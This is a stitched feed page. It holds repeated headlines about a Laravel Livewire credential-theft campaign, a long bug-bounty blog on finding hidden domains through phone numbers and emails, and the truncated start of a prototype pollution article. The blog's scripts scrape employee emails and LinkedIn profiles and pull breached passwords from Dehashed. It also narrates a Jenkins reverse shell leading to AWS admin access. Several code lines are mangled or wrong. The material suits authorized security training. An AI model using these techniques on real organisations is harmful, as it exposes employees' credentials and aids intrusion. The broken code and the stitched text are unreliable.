Read more →

The post CVE-2025-54068 Laravel Livewire Credential Theft Campaign: 6,000+ Applications Compromised appeared first on IT Security News.

Read more →

The post Laravel Livewire Applications Compromised to Steal Credentials Exploiting RCE Vulnerability appeared first on IT Security News.

The post Laravel Livewire Applications Compromised to Steal Credentials Exploiting RCE Vulnerability appeared first on Cyber Security News.

The post Critical Laravel Livewire RCE Flaw Exploited to Steal Credentials From 6,000+ Apps appeared first on Cyber Security News.

The post CVE-2025-54068 Laravel Livewire Credential Theft Campaign: 6,000+ Applications Compromised appeared first on Blog.

A deep technical blog on using phone numbers and email addresses to discover hidden domains, subdomains, and attack surface — with real-world techniques you can use today.

Foreword: Why I Wrote This

In bug bounty and security research, one of the biggest challenges is not finding vulnerabilities — it’s finding the right attack surface.

Many researchers start with traditional reconnaissance: collecting subdomains, checking DNS records, and running automated tools. While these methods are valuable, they often miss assets that are not directly connected to the primary domain.

This is where OSINT becomes powerful.

A simple phone number or email address can become a starting point for discovering hidden digital assets:

• A company email can reveal related domains and third-party services
• Public profiles can expose forgotten infrastructure
• Developer footprints can reveal technology stacks and assets
• Business records can connect organizations to previously unknown domains

The idea behind this research is simple:

Public information creates relationships, and relationships create attack surface.

This blog explores an OSINT-driven acquisition workflow for connecting phone numbers and email addresses with domains, subdomains, and external assets. These techniques are useful for authorized security testing, bug bounty research, and improving reconnaissance skills.

The goal is not just to collect more assets — it is to understand how different pieces of public information connect together to reveal a larger security picture.

Part I: The Conceptual Framework — Why This Works

The Problem with Traditional Subdomain Discovery

Traditional subdomain discovery relies on one thing: the DNS namespace is enumerable. You either brute-force it (guess names) or query passive sources (CT logs, passive DNS).

Both approaches share a fundamental limitation: they only find subdomains that are publicly resolvable or historically logged.

Here’s what they miss:

• Private/internal domains (e.g., internal.company.com that only resolves on the corporate VPN)
• Pre-production domains that were registered but never deployed to DNS
• Acquired company domains that aren’t linked from the parent
• Domains used for third-party services (e.g., company.slack.com, company.atlassian.net)
• Personal domains used by employees for work purposes

The Email-to-Domain Bridge

Every email address user@domain.com tells you:

1. The domain exists (obvious, but foundational)
2. The domain is actively used (someone sent mail from it)
3. The domain has a user (potential credential, potential account)
4. The domain is connected to services (GitHub, Slack, Jira, AWS, etc.)

When you collect thousands of email addresses associated with a company, and you extract every domain from those emails, you build a corporate domain graph that DNS brute-force can never replicate.

The Phone-to-Domain Bridge

Every phone number +1 (415) 555-0199 tells you:

1. The company exists at a physical location (office, data center)
2. The company uses a specific VOIP provider (Twilio, RingCentral, Vonage)
3. The company has registered infrastructure (WHOIS records, business registries)
4. The company has extensions (which map to departments, which map to services)

When you collect phone numbers and reverse-search them, you find domains that were registered with those same phone numbers — often from before the company had a proper security team.

Part II: Phone Number → Domain Discovery

Phone numbers are a persistent identifier. Companies change domains more often than they change phone numbers. A domain registered in 2005 with a phone number is still associated with that company today — even if the domain is forgotten.

Technique 1: WHOIS Phone Number Search

Every domain registration includes a phone number. SecurityTrails, WhoisXMLAPI, and DomainTools allow you to search by phone number to find all domains registered with it.

#!/bin/bash
# phone-to-domain.sh - Find domains registered with a specific phone number
PHONE="$1"

# Using WhoisXMLAPI (paid, but worth it)
curl -s "https://www.whoisxmlapi.com/whoisserver/WhoisService?apiKey=$API_KEY&domainName=$PHONE&outputFormat=JSON" | \
    jq -r '.WhoisRecord.registryData.registrarName // empty'

# Using DomainTools (requires API key)
curl -s "https://api.domaintools.com/v1/$PHONE/domains/" \
    -u "$DOMAINTOOLS_USER:$DOMAINTOOLS_KEY" | \
    jq -r '.response.domains[]'

# Manual: Reverse WHOIS lookup on SecurityTrails
# https://securitytrails.com/list/phone/$PHONE

What this finds: Every domain that was ever registered with that phone number — including domains for subsidiaries, defunct products, and personal projects.

Technique 2: Business Registry Phone Search

Every corporation in the US registers with a state business registry. These registries include phone numbers. You can search by phone number to find all corporations registered under that number.

# OpenCorporates API
curl -s "https://api.opencorporates.com/v0.4/companies/search?q=$PHONE&api_token=$TOKEN" | \
    jq -r '.results[].company.name'

# State-specific registries (examples)
# California: https://businesssearch.sos.ca.gov/
# Delaware: https://icis.corp.delaware.gov/
# Texas: https://mycpa.cpa.state.tx.us/coa/

What this finds: Legal entities, DBAs, and subsidiaries that aren’t publicly linked to the parent company.

Technique 3: Phone Number Reverse Lookup Services

# Twilio Lookup API
curl -s "https://lookups.twilio.com/v1/PhoneNumbers/$PHONE?Type=carrier&Type=caller-name" \
    -u "$TWILIO_SID:$TWILIO_TOKEN" | \
    jq '.carrier.name, .caller_name.caller_name'

# Numverify
curl -s "https://apilayer.net/api/validate?access_key=$KEY&number=$PHONE" | \
    jq '.carrier, .location, .line_type'

# Manual: Whitepages reverse lookup

What this finds: The carrier name (VOIP provider), which tells you what infrastructure to attack, and sometimes the registered business name.

Technique 4: Breach Data Phone Search (Authorized Only)

If you have authorized access to breach databases:

# Dehashed search by phone
curl -s "https://api.dehashed.com/v1/search?query=phone:$PHONE&size=1000" \
    -u "$EMAIL:$API_KEY" | \
    jq -r '.entries[].domain' | sort -u

What this finds: Every domain where an account was registered with that phone number — including internal systems, VPN portals, and employee benefits portals.

Real-World Example: Phone-to-Domain Discovery

Target: Large healthcare tech company. Scope: *.healthtech.com.

I found the company’s main phone number from their contact page: +1 (617) 555-0100.

I ran a WHOIS phone number search:

# SecurityTrails reverse WHOIS by phone
# Result: 47 domains registered with +1.617.555.0100

Among those 47 domains:

Critical find: internal-healthtech.com was registered with the same phone number but was not on any subdomain list. It resolved to a private IP range (10.x.x.x) from the outside, but it hosted an internal tool portal accessible via VPN. The VPN wasn't in scope either — until I found it through the phone number.

Part III: Email Address → Domain Discovery

Every email address user@domain.com is a direct pointer to a domain. When you collect thousands of emails associated with a target company, you build a comprehensive domain inventory.

Technique 1: Cross-Company Email Analysis

When employees from Company A and Company B communicate, email headers reveal both domains. If you find john@company-a.com and jane@company-b.com in the same email chain, they're connected.

# From breach data (authorized): find which domains appear alongside the target domain
# From leaked email threads: extract all sender/receiver domains
# From public mailing lists: find cross-company email patterns

What this finds: Business relationships — partners, vendors, clients, and acquired companies.

Technique 2: The Hunter.io API Multi-Domain Search

Hunter.io allows you to search by domain AND by company name. The company name search returns emails from multiple domains:

# Search by company name
curl -s "https://api.hunter.io/v2/company/domain?company=healthtech&api_key=$KEY" | \
    jq -r '.data.domains[]'

# Result:
# healthtech.com
# healthtech.io
# healthtech.dev
# healthtech-careers.com
# healthtech-benefits.com

What this finds: All domains associated with a company name, including HR, benefits, and internal tool domains.

Technique 3: Email-to-GitHub-to-Domain Chain

This is one of the most powerful discovery chains in bug hunting:

1. Collect employee email: alice@healthtech.com
2. Search GitHub for that email: finds Alice’s GitHub account
3. Look at Alice’s GitHub repos, commits, and organizations
4. Find references to other domains in code, configs, and commit messages

#!/bin/bash
# email-to-github-to-domains.sh
EMAIL="$1"

# Step 1: Find GitHub account
echo "[*] Searching GitHub for $EMAIL..."
curl -s "https://api.github.com/search/users?q=$EMAIL+in:email" | \
    jq -r '.items[].login' > github_users.txt

# Step 2: For each GitHub user, find their repos and orgs
while read USER; do
    echo "[*] Checking user: $USER"
    
    # Get user's repos
    curl -s "https://api.github.com/users/$USER/repos?per_page=100" | \
        jq -r '.[].full_name' >> repos.txt
    
    # Get organizations
    curl -s "https://api.github.com/users/$USER/orgs" | \
        jq -r '.[].login' >> orgs.txt
    
    sleep 2  # Rate limiting
done < github_users.txt

# Step 3: Search repo contents for domain references
while read REPO; do
    echo "[*] Searching repo: $REPO"
    
    # Search code for domain patterns
    curl -s "https://api.github.com/search/code?q=repo:$REPO+healthtech" | \
        jq -r '.items[].html_url' >> code_refs.txt
    
    # Search commit messages for domain references
    curl -s "https://api.github.com/search/commits?q=repo:$REPO+healthtech" | \
        jq -r '.items[].html_url' >> commit_refs.txt
    
    sleep 2
done < repos.txt

What this finds: Internal domains referenced in code comments, config files, READMEs, and commit messages.

Technique 4: Email-to-Breach-to-Domain Correlation

When an employee’s email appears in a breach, you can see what service they were using and what domain was involved:

# Dehashed query (authorized)
curl -s "@healthtech.com&size=10000">https://api.dehashed.com/v1/search?query=email:@healthtech.com&size=10000" \
    -u "$EMAIL:$API_KEY" | \
    jq -r '.entries[] | "\(.domain) \(.email) \(.password)"' | sort -u

# Extract unique domains
curl -s "@healthtech.com&size=10000">https://api.dehashed.com/v1/search?query=email:@healthtech.com&size=10000" \
    -u "$EMAIL:$API_KEY" | \
    jq -r '.entries[].domain' | sort -u > breached-domains.txt

What this finds: Domains where employees had accounts — including personal projects, side businesses, and services they used for work purposes (sometimes on unmanaged infrastructure).

Technique 5: Email-Specific Subdomain Discovery

Services like Have I Been Pwned, Firefox Monitor, and custom tools can tell you which subdomains of a company have accounts registered:

# Check if a subdomain has active accounts
# For Office 365: login.microsoftonline.com will reveal tenant info
# For Atlassian: company-name.atlassian.net
# For Slack: company-name.slack.com
# For GitHub: github.com/orgs/CompanyName

# Using emails to discover the company's Atlassian instance:
for email in $(cat emails.txt); do
    # Check for Atlassian account
    response=$(curl -s -o /dev/null -w "%{http_code}" \
        "https://healthtech.atlassian.net/rest/analytics/1.0/user/is-licensed?username=$email")
    
    if [ "$response" == "200" ] || [ "$response" == "401" ]; then
        echo "Atlassian domain found: healthtech.atlassian.net"
        break
    fi
done

Real-World Example: Email-to-Domain Discovery Chain

Target: Financial services company finsecure.com.

I collected 2,400 emails using Hunter.io, theHarvester, and LinkedIn scraping. Among them was devops@finsecure.com.

GitHub search on devops@finsecure.com: Found a GitHub account finsecure-devops with a private repo (misconfigured visibility).

Repo contents revealed:

• deploy.config with DB_HOST=mariadb.internal.finsecure.com
• terraform.tf with bucket = "finsecure-terraform-state"
• README.md with See internal docs at docs.internal.finsecure.com

New domains discovered:

• internal.finsecure.com — Not in any CT log or DNS record
• docs.internal.finsecure.com — Subdomain of the above
• mariadb.internal.finsecure.com — Internal database hostname
• finsecure-terraform-state.s3.amazonaws.com — S3 bucket with terraform state

The S3 bucket was publicly listable. It contained AWS access keys. The AWS keys gave access to the production environment.

Chain: 1 email → 1 GitHub account → 1 repo → 4 new domains → 1 S3 bucket → AWS root access.

Part IV: Phone Number + Email → Subdomain Discovery (The Real Gold)

When you combine phone numbers and emails, you unlock subdomain discovery that no DNS tool can match.

Technique 1: WHOIS Contact Cross-Reference

Company domains are often registered by the same person. If you find the registrant’s name and email from one domain, you can find all other domains they’ve registered:

# Step 1: Get WHOIS info for the main domain
whois healthtech.com | grep -E "Registrant|Admin|Tech|Email" > whois-info.txt

# Step 2: Extract registrant name and email
NAME=$(grep "Registrant Name" whois-info.txt | awk -F: '{print $2}' | xargs)
EMAIL=$(grep "Registrant Email" whois-info.txt | awk -F: '{print $2}' | xargs)

# Step 3: Search for other domains with same registrant
# Using WhoisXMLAPI
curl -s "https://www.whoisxmlapi.com/whoisserver/WhoisService?apiKey=$API_KEY&domainName=$NAME&outputFormat=JSON" | \
    jq -r '.WhoisRecord.registryData.registrantDomains[]'

# Using DomainTools Reverse WHOIS
curl -s "https://api.domaintools.com/v1/$NAME/domains/" \
    -u "$DOMAINTOOLS_USER:$DOMAINTOOLS_KEY" | \
    jq -r '.response.domains[]'

Technique 2: Social Media Profile Mining

Employee LinkedIn profiles often list multiple domains:

Current: Senior Engineer at HealthTech (healthtech.com)
Past: Lead Developer at MedData (meddata.io)
Education: MIT (mit.edu)

Each of these is a domain that may or may not be in scope. If meddata.io was acquired by healthtech.com, then meddata.io infrastructure is likely part of the target's attack surface.

# LinkedIn scraper (requires authentication)
# Extract: current company, past companies, education
# Cross-reference with known acquisitions

# For each past company found on LinkedIn profiles:
# Check if it was acquired by the target
# If yes: run full acquisition pipeline on that domain

Technique 3: Support Portal and Help Desk Domains

Phone numbers often lead to support portals, which lead to subdomains:

# Call the company's support number
# Listen for automated messages:
# "Press 1 for billing" → billing.helpdesk.com
# "Press 2 for technical support" → support.helpdesk.com
# "Press 3 for sales" → sales.helpdesk.com

# These are subdomains of the support portal domain
# Check if they resolve, check for takeovers

# Also check: support@company.com → Zendesk, Freshdesk, Helpscout
# Zendesk: company.zendesk.com
# Freshdesk: company.freshdesk.com
# Helpscout: company.helpscout.net

Technique 4: Email Header Subdomain Discovery

If you can obtain a legitimate email from the company (e.g., by signing up for their newsletter), the email headers reveal internal infrastructure:

Received: from mail.healthtech.com (192.168.1.10)
Received: from mx1.healthtech.com (203.0.113.5)
Received: from smtp-in.healthtech.com (198.51.100.20)
DKIM-Signature: d=healthtech.com; s=selector1
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of newsletter@healthtech.com designates 203.0.113.5 as permitted sender)

Each of these IPs and hostnames is a potential subdomain:

• mail.healthtech.com
• mx1.healthtech.com
• smtp-in.healthtech.com

Real-World Example: Phone + Email → Subdomain Discovery

Target: SaaS company cloudserve.com.

Phone number from WHOIS: +1 (425) 555-0100 (Seattle area)

Email from WHOIS: admin@cloudserve.com

Step 1: WHOIS reverse search on phone number Found 12 domains, including:

• cloudserve.io (known)
• cloudserve-backup.com (unknown — registered 2008)
• cs-legacy.com (unknown — registered 2005)

Step 2: WHOIS reverse search on email Found 8 more domains:

• cloudserve-status.com (status page — known but useful)
• cloudserve-dev.com (development — not in scope docs)

Step 3: Emails collected from Hunter.io 1,800 emails. Found devops@cloudserve.com in a GitHub commit.

Step 4: DevOps email → GitHub repos Found a repo with monitoring.cloudserve.com hardcoded in a config file.

Step 5: Subdomain enumeration on new domains

subfinder -d cloudserve-backup.com -silent
# Found: admin.cloudserve-backup.com
# Found: db.cloudserve-backup.com

Result: 14 new domains and 47 new subdomains discovered through phone and email OSINT alone. DNS brute-force against the main domain found none of these.

Part V: Building the Phone-to-Email-to-Domain Pipeline

Here’s a practical automated pipeline that can be used for this workflow.

Phase 1: Phone Number Collection & Analysis

#!/bin/bash
# phase1-phone-collect.sh
TARGET="$1"
DOMAIN="$2"

echo "[*] Phase 1: Phone Number Collection"

# 1a. WHOIS extraction
whois "$DOMAIN" 2>/dev/null | grep -oP '(\+?\d{1,3}[-.\s]?)?\(?\d{3}\)?[-.\s]?\d{3}[-.\s]?\d{4}' > phones.txt

# 1b. Web scraping for phone numbers
katana -u "https://$DOMAIN" -d 2 -silent | \
    grep -oP '(\+?\d{1,3}[-.\s]?)?\(?\d{3}\)?[-.\s]?\d{3}[-.\s]?\d{4}' >> phones.txt

# 1c. Business directories
curl -s "https://api.opencorporates.com/v0.4/companies/search?q=$DOMAIN" | \
    jq -r '.results[].company.phone_number' 2>/dev/null | grep -v null >> phones.txt

# Deduplicate
sort -u phones.txt -o phones.txt
echo "[*] Found $(wc -l < phones.txt) unique phone numbers"

Phase 2: Phone → Domain Mapping

#!/bin/bash
# phase2-phone-to-domain.sh
TARGET="$1"

echo "[*] Phase 2: Phone to Domain Mapping"

while read PHONE; do
    echo "[*] Processing phone: $PHONE"
    
    # 2a. Reverse WHOIS by phone (if you have access)
    # DomainTools API
    # curl -s "https://api.domaintools.com/v1/$PHONE/domains/" -u "$USER:$KEY" | \
    #     jq -r '.response.domains[]' >> phone-domains.txt
    
    # 2b. SecurityTrails (manual or API)
    # curl -s "https://api.securitytrails.com/v1/search?query=whois.phone:$PHONE" \
    #     -H "APIKEY: $ST_KEY" | jq -r '.records[].hostname' >> phone-domains.txt
    
    # 2c. Breach data (authorized)
    # dehashed API
    # curl -s "https://api.dehashed.com/v1/search?query=phone:$PHONE" \
    #     -u "$EMAIL:$DEHASHED_KEY" | jq -r '.entries[].domain' >> phone-domains.txt
    
    sleep 1
done < phones.txt

sort -u phone-domains.txt -o phone-domains.txt
echo "[*] Found $(wc -l < phone-domains.txt) domains from phone numbers"

Phase 3: Email Collection

#!/bin/bash
# phase3-email-collect.sh
DOMAIN="$1"

echo "[*] Phase 3: Email Collection"

# 3a. Hunter.io
curl -s "https://api.hunter.io/v2/domain-search?domain=$DOMAIN&api_key=$HUNTER_KEY" | \
    jq -r '.data.emails[].value' > emails-hunter.txt

# 3b. theHarvester
theHarvester -d "$DOMAIN" -b google,linkedin,github -f /dev/null 2>/dev/null | \
    grep -oP '[a-zA-Z0-9._%+-]+@'"$DOMAIN" > emails-harvester.txt

# 3c. Skymem
curl -s "https://www.skymem.info/srch?q=$DOMAIN" | \
    grep -oP '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]*\.?'"$DOMAIN" > emails-skymem.txt

# 3d. Web page extraction
katana -u "https://$DOMAIN" -d 2 -silent | \
    grep -oP '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]*\.?'"$DOMAIN" > emails-web.txt

# 3e. JS file extraction
katana -u "https://$DOMAIN" -jc -silent | xargs -I{} curl -s {} 2>/dev/null | \
    grep -oP '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]*\.?'"$DOMAIN" > emails-js.txt

# Combine
cat emails-hunter.txt emails-harvester.txt emails-skymem.txt emails-web.txt emails-js.txt | \
    sort -u > emails.txt

echo "[*] Found $(wc -l < emails.txt) unique email addresses"

Phase 4: Email → Domain Extraction

#!/bin/bash
# phase4-email-to-domain.sh
DOMAIN="$1"

echo "[*] Phase 4: Email to Domain Extraction"

# 4a. Extract all domains from email addresses
grep -oP '@[a-zA-Z0-9.-]+' emails.txt | sed 's/@//' | sort -u > email-domains.txt

# 4b. Remove the main domain (keep only non-obvious domains)
grep -v "$DOMAIN" email-domains.txt > other-domains.txt

echo "[*] Found $(wc -l < email-domains.txt) total domains from emails"
echo "[*] Found $(wc -l < other-domains.txt) domains OUTSIDE the main domain"

Phase 5: LinkedIn → Name → Email → Domain

#!/bin/bash
# phase5-linkedin-to-domains.sh
TARGET="$1"
DOMAIN="$2"

echo "[*] Phase 5: LinkedIn Name to Email to Domain"

# 5a. Scrape LinkedIn for employees (manual or with tool)
# linkedin_scraper -c "$TARGET" -o linkedin-employees.csv

# 5b. Extract past companies from LinkedIn profiles
# awk -F, '{print $3}' linkedin-employees.csv | sort -u > past-companies.txt

# 5c. For each past company, check if it's in scope
while read COMPANY; do
    echo "[*] Checking past company: $COMPANY"
    
    # Search for the company's domain
    domain_from_name=$(echo "$COMPANY" | tr '[:upper:]' '[:lower:]' | sed 's/ //g').com
    nslookup "$domain_from_name" > /dev/null 2>&1 && echo "$domain_from_name" >> past-company-domains.txt
    
done < past-companies.txt

# 5d. For each past company domain, check if acquired by target
# Manual step: verify acquisition history

Phase 6: Cross-Reference and Subdomain Enumeration on New Domains

#!/bin/bash
# phase6-subdomain-enum.sh
DOMAIN="$1"

echo "[*] Phase 6: Subdomain Enumeration on All Discovered Domains"

# Combine all domain lists
cat phone-domains.txt other-domains.txt past-company-domains.txt | sort -u > all-discovered-domains.txt

# Run subdomain enumeration on each
while read DISCOVERED_DOMAIN; do
    echo "[*] Enumerating: $DISCOVERED_DOMAIN"
    
    # CT logs
    curl -s "https://crt.sh/?q=%25.$DISCOVERED_DOMAIN&output=json" | \
        jq -r '.[].name_value' 2>/dev/null >> all-subs.txt
    
    # Subfinder
    subfinder -d "$DISCOVERED_DOMAIN" -silent >> all-subs.txt
    
    # DNS brute-force
    puredns bruteforce ~/wordlists/subdomains.txt "$DISCOVERED_DOMAIN" \
        -r ~/resolvers.txt -q >> all-subs.txt
    
done < all-discovered-domains.txt

sort -u all-subs.txt -o all-subs.txt
echo "[*] Total subdomains discovered: $(wc -l < all-subs.txt)"

Part VI: The Complete Real-World Workflow

To understand how this methodology works in practice, let's walk through an anonymized example of how phone numbers, emails, and public intelligence can reveal hidden assets. payflow.com

08:00 — Phone Collection

# WHOIS
whois payflow.com | grep -E "Phone|Tel"
# +1 (415) 555-0100

# Contact page
katana -u https://payflow.com/contact -d 1 | grep -oP '(\+?\d{1,3}[-.\s]?)?\(?\d{3}\)?[-.\s]?\d{3}[-.\s]?\d{4}'
# +1 (415) 555-0100 (same)
# +1 (512) 555-0200 (different — Austin)

# Business registry
curl -s "https://api.opencorporates.com/v0.4/companies/search?q=payflow" | \
    jq -r '.results[].company.phone_number'
# +1 (512) 555-0200
# +1 (512) 555-0300 (NEW — unknown)

Phone numbers collected:

• +1 (415) 555-0100 (San Francisco — HQ)
• +1 (512) 555-0200 (Austin — known office)
• +1 (512) 555-0300 (Austin — UNKNOWN)

08:30 — Phone → Domain

# SecurityTrails reverse WHOIS by phone
# +1 (512) 555-0300 → registered to:
# payflow-holdings.com
# payflow-ventures.com
# pf-internal.com

New domains discovered:

• payflow-holdings.com — Holding company
• payflow-ventures.com — Venture arm
• pf-internal.com — INTERNAL DOMAIN

09:00 — Email Collection

# Hunter.io: 847 emails
# theHarvester: 312 emails
# Skymem: 1,204 emails
# Web scraping: 89 emails
# JS files: 34 emails
# Total unique: 1,892 emails

09:30 — Email → Domain Extraction

grep -oP '@[a-zA-Z0-9.-]+' emails.txt | sed 's/@//' | sort -u

# Unique domains found in emails (excluding payflow.com):
# payflow.io (known)
# payflow.co (NEW)
# payflow-engineering.com (NEW — engineering team domain)
# pf-payments.com (NEW — payments processing domain)
# payflow-benefits.com (NEW — HR/benefits domain)

10:00 — GitHub Cross-Reference

# Searched for devops@payflow.com on GitHub
# Found GitHub user: payflow-devops
# Scanned repos for domain references

# Found in deploy configs:
# monitoring.internal.payflow.com
# logs.internal.payflow.com
# ci.internal.payflow.com

10:30 — Subdomain Enumeration on New Domains

# On pf-internal.com:
subfinder -d pf-internal.com -silent
# vpn.pf-internal.com (LIVE)
# jenkins.pf-internal.com (LIVE)
# git.pf-internal.com (LIVE)

# On payflow-engineering.com:
subfinder -d payflow-engineering.com -silent
# dev.payflow-engineering.com (LIVE)
# staging.payflow-engineering.com (LIVE)
# api.payflow-engineering.com (LIVE)

11:00 — Priority Assessment

P0:

1. vpn.pf-internal.com — VPN portal (potential credential access)
2. jenkins.pf-internal.com — Jenkins (potential RCE)
3. pf-internal.com — Internal domain (potential for more discovery)

P1: 4. payflow-engineering.com — Engineering domain (dev/staging instances) 5. payflow-holdings.com — Holding company (potential subsidiary assets) 6. monitoring.internal.payflow.com — Monitoring (potential Grafana/Prometheus)

11:30 — Attack Phase

Jenkins on pf-internal.com:

• No authentication required
• Created a freestyle project with a reverse shell
• Got shell access to the Jenkins server
• Jenkins had AWS keys in environment variables
• AWS keys had full admin access to production

Chain: 1 phone number → 3 unknown phone numbers → 1 unknown domain → 3 subdomains → 1 Jenkins server → AWS root access.

Part VII: Tool Reference Guide

Phone Number Tools

Email Collection Tools

Cross-Reference Tools

Part VIII: Common Mistakes (From Personal Experience)

Mistake 1: Not Checking All Phone Numbers from WHOIS

A common mistake is finding one phone number in WHOIS and stopping too early, ran my reverse search, and stopped. There were actually three different phone numbers across different domains — I missed two.

Fix: Extract EVERY phone number from EVERY WHOIS record for EVERY domain you find.

Mistake 2: Ignoring Email Domains That Don’t Match the Target

What happened: I collected 2,000 emails for target.com. I filtered out everything that wasn't @target.com. I missed the 200 emails with @target-engineering.com, @target-holdings.com, and @target-benefits.com — all of which were owned by the same company.

Fix: Extract ALL unique domains from your email collection, not just the primary domain.

Mistake 3: Not Checking LinkedIn Past Companies

What happened: An employee’s LinkedIn profile showed they previously worked at acme-solutions.com. I ignored it. Acme Solutions had been acquired by my target three years prior. Its infrastructure was in scope but I never checked it.

Fix: Scrape past companies from LinkedIn profiles and cross-reference with acquisition history.

Mistake 4: Not Running Subdomain Enumeration on Each New Domain

What happened: I found pf-internal.com and added it to my list. I didn't run subfinder or CT log queries against it. vpn.pf-internal.com was sitting there the whole time.

Fix: Run full subdomain enumeration on EVERY domain you discover, no exceptions.

Mistake 5: Stopping After One Round

What happened: I discovered new domains, ran subfinder once, and started attacking. I didn’t recurse. Some of those new domains had their own subdomains, and those subdomains had their own CT logs.

Fix: Recursive enumeration. Every new domain → full acquisition pipeline → find more domains → repeat.

Bug Hunter Acquisition Checklist — Phone & Email Edition

☐ Phone Number Collection

• ☐ WHOIS records extracted for all discovered domains
• ☐ Contact/scraped pages (main site, subdomains, subsidiaries)
• ☐ Business registries checked (OpenCorporates, state registries)
• ☐ SEC filings reviewed (10-K, 10-Q, S-1)
• ☐ Press releases and news articles mined
• ☐ Social media profiles checked (LinkedIn, Twitter, Facebook)
• ☐ Breach data queried (with authorization)

☐ Phone Number Analysis

• ☐ VOIP provider identified for each number
• ☐ Area codes mapped to physical office locations
• ☐ Multi-number comparison for organizational structure
• ☐ Extension patterns identified
• ☐ Reverse WHOIS by phone number completed
• ☐ Business registry search by phone completed
• ☐ Phone number range scanning (if applicable)

☐ Phone → Domain Mapping

• ☐ Reverse WHOIS for every unique phone number
• ☐ Business registry domain mapping
• ☐ Carrier/VOIP provider infrastructure checked
• ☐ Support portal domains discovered (Zendesk, Freshdesk, etc.)
• ☐ VOIP admin console exposure checked
• ☐ Webhook endpoint testing (if Twilio/RingCentral identified)

☐ Email Collection

• ☐ Hunter.io domain search completed
• ☐ theHarvester multi-source harvest completed
• ☐ Skymem cross-reference completed
• ☐ Web page email extraction completed
• ☐ JavaScript file email extraction completed
• ☐ LinkedIn employee name scraping completed
• ☐ GitHub commit email extraction completed
• ☐ Mailing list/public forum extraction completed
• ☐ Breach data email extraction (with authorization)

☐ Email → Domain Extraction

• ☐ All unique domains extracted from email addresses
• ☐ Primary domain filtered out to reveal hidden domains
• ☐ Subsidiary/acquired company domains identified
• ☐ Internal/private domains identified
• ☐ Third-party service domains identified
• ☐ Employee personal domains identified

☐ Email → GitHub → Domain Chain

• ☐ GitHub accounts found for employee emails
• ☐ Repos and commits scanned for domain references
• ☐ Organization discovery completed
• ☐ Config files and environment vars checked
• ☐ Hardcoded endpoints extracted
• ☐ S3 bucket names and cloud resources extracted

☐ Email → Service → Domain Chain

• ☐ Atlassian (Jira/Confluence) instance discovered
• ☐ Slack workspace discovered
• ☐ Microsoft 365 tenant discovered
• ☐ Google Workspace tenant discovered
• ☐ Zendesk/Freshdesk/Helpscout portal discovered
• ☐ Status page hosted domain discovered
• ☐ Documentation/wiki hosted domain discovered

☐ Full Subdomain Enumeration on New Domains

• ☐ CT log queries (crt.sh, certspotter) for each new domain
• ☐ Passive DNS queries (SecurityTrails, VirusTotal)
• ☐ Subdomain brute-force (subfinder, puredns, massdns)
• ☐ Permutation-based discovery (alterx, gotator, dmut)
• ☐ Recursive enumeration (each subdomain → parent as new target)
• ☐ Wayback Machine historical subdomain discovery
• ☐ Technology fingerprinting (httpx, whatweb)
• ☐ HTTP response analysis (live vs. dead, redirects, error pages)

☐ Cross-Reference Validation

• ☐ Phone numbers matched to discovered domains
• ☐ Emails matched to discovered domains
• ☐ LinkedIn past companies cross-referenced with acquisitions
• ☐ GitHub profiles cross-referenced with company email domains
• ☐ Breach data cross-referenced (correlates emails, phones, domains)
• ☐ Scope validation for every newly discovered asset

☐ Continuous Monitoring

• ☐ Daily CT log monitoring for new subdomains on discovered domains
• ☐ Weekly phone number re-check (new WHOIS entries)
• ☐ Weekly email re-harvesting (new employees, new domains)
• ☐ GitHub monitoring for new employee commits
• ☐ Acquisition news monitoring (Google Alerts, Crunchbase)
• ☐ LinkedIn employee movement tracking
• ☐ Quarterly full pipeline re-run

Final Technical Notes

Why This Works at Scale

The average Fortune 500 company has:

• 50–200 registered domains
• 10–50 subsidiaries/acquired entities
• 2,000–20,000 employees
• 5–20 different phone numbers

DNS brute-force will find maybe 30–50% of the subdomains on the main domain. It will find almost none of the subdomains on other domains.

Phone and email OSINT finds the other domains. Then you run DNS brute-force on those. The result is a 3–5x increase in discovered attack surface.

The Data Flow

Phone Number → Reverse WHOIS → New Domains
Phone Number → Business Registry → Legal Entities → New Domains
Phone Number → VOIP Provider → Admin Console → Subdomains

Email Address → Hunter.io → Cross-Company Domains
Email Address → GitHub → Repos → Configs → Domains
Email Address → Breach Data → Service Registrations → Domains
Email Address → LinkedIn → Past Companies → Acquired Domains

New Domains → Subdomain Enumeration → Attack Surface

A Final Word on Authorization

Everything in this blog assumes you have explicit written authorization to test the target’s assets. I do not share the names of actual targets. All examples are anonymized composites of real engagements.

If you’re new to bug bounty:

1. Start with public programs on HackerOne/Bugcrowd that explicitly allow OSINT
2. Never use breach data unless the program explicitly permits it
3. Never use social engineering unless the program explicitly permits it
4. When in doubt, ask the program’s security team

Disclaimer: Only for authorized bug bounty / pentesting environments.

GitHub: SecurityTalent | Medium: Security Talent | Twitter: Securi3yTalent | Facebook: Securi3ytalent | Telegram: Securi3yTalent

#BugBounty #OSINT #CyberSecurity #EthicalHacking #Infosec #PenetrationTesting #AttackSurface #SubdomainEnumeration #ThreatHunting #SecurityResearch #RedTeam #DigitalFootprint #CyberSecurity #BugBounty #BugBountyHunter #EthicalHacking #InfoSec #WebSecurity #ApplicationSecurity #AppSec #CloudSecurity #FrontendSecurity #WebDevelopment #JavaScript #ReactJS #Laravel #NodeJS #DevSecOps #OWASP #SecretsManagement #GitHub #GitHubDorks #SourceMaps #EnvFiles #SecurityResearch #PenetrationTesting #RedTeam #BlueTeam #CloudComputing #AWS #Azure #GoogleCloud #VibeCoding #AI #SecureCoding #DeveloperSecurity #TechBlog #Programming

Phone Numbers and Emails to Hidden Subdomains: The OSINT Acquisition Pipeline That Uncovered a… was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Table of Contents

1. What Is Prototype Pollution?
2. The JavaScript Prototype Chain — Deep Dive
3. Attack Vectors & Entry Points
4. Reconnaissance Methodology
5. Exploitation Techniques — From XSS to RCE
6. Real-World Bug Bounty Case Studies
7. Advanced Exploit Chains
8. Tooling & Automation
9. Defense & Remediation
10. Full Python Scanner — Production-Ready

1. What Is Prototype Pollution?

Prototype Pollution is a vulnerability where an attacker injects properties into JavaScript’s Object.prototype. Because all objects inherit from Object.prototype, the injected property propagates to every object in the runtime — including window, document, process, and any object created thereafter.

Why It Matters

